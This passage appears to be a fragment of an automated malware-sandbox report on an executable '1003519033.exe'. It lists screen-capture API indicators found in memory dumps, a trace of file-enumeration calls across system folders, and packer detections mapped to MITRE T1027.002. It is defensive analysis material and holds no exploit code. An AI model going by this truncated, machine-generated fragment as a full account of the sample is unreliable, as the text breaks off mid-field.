"00000000-00001288.00000000.258626.00BB0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00001288.00000000.258626.00BB0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001288.00000000.258626.00BB0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001288.00000000.258626.00BB0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00001288.00000000.258626.00BB0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00001288.00000000.258626.00BB0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00001288.00000000.258626.00BB0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001636.00000000.259592.03160000.00000004.mdmp, 00000000-00001636.00000001.261511.03160000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001636.00000000.259592.03160000.00000004.mdmp, 00000000-00001636.00000001.261511.03160000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00001636.00000000.259592.03160000.00000004.mdmp, 00000000-00001636.00000001.261511.03160000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001636.00000000.259592.03160000.00000004.mdmp, 00000000-00001636.00000001.261511.03160000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001636.00000000.259592.03160000.00000004.mdmp, 00000000-00001636.00000001.261511.03160000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00001636.00000000.259592.03160000.00000004.mdmp, 00000000-00001636.00000001.261511.03160000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00001636.00000000.259592.03160000.00000004.mdmp, 00000000-00001636.00000001.261511.03160000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00001636.00000000.259592.03160000.00000004.mdmp, 00000000-00001636.00000001.261511.03160000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00003644.00000000.259468.00BB0000.00000004.mdmp, 00000000-00003644.00000001.261387.00BB0000.00000004.mdmp")5f:T77d,"1003519033.exe" called "FindFirstFileW" with parameter C:\* (UID: 00000000-00001288) "1003519033.exe" called "FindNextFileW" with parameter $Recycle.Bin (UID: 00000000-00001288) "1003519033.exe" called "FindFirstFileW" with parameter C:\$Recycle.Bin\* (UID: 00000000-00001288) "1003519033.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00001288) "1003519033.exe" called "FindNextFileW" with parameter S-1-5-18 (UID: 00000000-00001288) "1003519033.exe" called "FindFirstFileW" with parameter C:\$Recycle.Bin\S-1-5-18\* (UID: 00000000-00001288) "1003519033.exe" called "FindNextFileW" with parameter desktop.ini (UID: 00000000-00001288) "1003519033.exe" called "FindNextFileW" with parameter S-1-5-21-735145574-3570218355-1207367261-1001 (UID: 00000000-00001288) "1003519033.exe" called "FindFirstFileW" with parameter C:\$Recycle.Bin\S-1-5-21-735145574-3570218355-1207367261-1001\* (UID: 00000000-00001288) "1003519033.exe" called "FindNextFileW" with parameter $WINDOWS.~BT (UID: 00000000-00001288) "1003519033.exe" called "FindFirstFileW" with parameter C:\$WINDOWS.~BT\* (UID: 00000000-00001288) "1003519033.exe" called "FindNextFileW" with parameter DUDownload (UID: 00000000-00001288) "1003519033.exe" called "FindFirstFileW" with parameter C:\$WINDOWS.~BT\DUDownload\* (UID: 00000000-00001288) "1003519033.exe" called "FindNextFileW" with parameter Setup (UID: 00000000-00001288) "1003519033.exe" called "FindFirstFileW" with parameter C:\$WINDOWS.~BT\DUDownload\Setup\* (UID: 00000000-00001288) "1003519033.exe" called "FindNextFileW" with parameter acmigration.dll (UID: 00000000-00001288) "1003519033.exe" called "FindNextFileW" with parameter appraiser.sdb (UID: 00000000-00001288) "1003519033.exe" called "FindNextFileW" with parameter diagtrack.dll (UID: 00000000-00001288) "1003519033.exe" called "FindNextFileW" with parameter mediasetupuimgr.dll (UID: 00000000-00001288)60:T491," Microsoft\"\n \"peinf_1_.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"7_1_.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"2_1_.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"2418331832.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"1311919553.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"3865824992.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"1819729096.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"5_1_.exe\" was detected as \"Visual C++ 2005 Release -> Microsoft\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"69d317383d461cb08c0612cb"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"